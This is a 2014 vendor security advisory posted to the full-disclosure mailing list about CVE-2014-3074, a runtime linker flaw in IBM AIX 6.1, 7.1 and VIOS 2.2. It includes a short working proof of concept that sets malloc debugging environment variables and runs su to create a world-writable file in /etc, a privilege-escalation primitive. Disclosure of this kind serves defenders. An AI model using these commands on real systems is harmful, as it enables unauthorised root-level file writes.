full-disclosure - [FD] CVE-2014-3074 - Runtime Linker Allows Privilege Escalation Via Arbitrary File Writes in IBM AIX

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Message-ID: <53BC0121.2030607@portcullis-security.com>
Date: Tue, 08 Jul 2014 15:33:05 +0100
From: Portcullis Advisories <advisories@...tcullis-security.com>
To: moderators@...db.org, fulldisclosure@...lists.org, vuln@...unia.com, 
	bugtraq@...urityfocus.com
Subject: [FD] CVE-2014-3074 - Runtime Linker Allows Privilege Escalation Via
 Arbitrary File Writes in IBM AIX

Vulnerability title: Runtime Linker Allows Privilege Escalation Via
Arbitrary File Writes in IBM AIX
CVE: CVE-2014-3074
Vendor: IBM
Product: AIX
Affected version: AIX 6.1 and 7.1 and VIOS 2.2.*
Reported by: Tim Brown

Details:
It has been identified that the runtime linker allows privilege
escalation via arbitrary file writes with elevated privileges (SetGID
and SetUID programs). The following will cause a new file /etc/pwned to
be created with permissions of rw-rw-rw:

umask 0
MALLOCOPTIONS=buckets
MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/pwned
export MALLOCOPTIONS MALLOCBUCKETS
su -

In instances where the output file exists, then the report_allocations
output will be appended to the existing file and the permissions preserved.

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-3074/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information.

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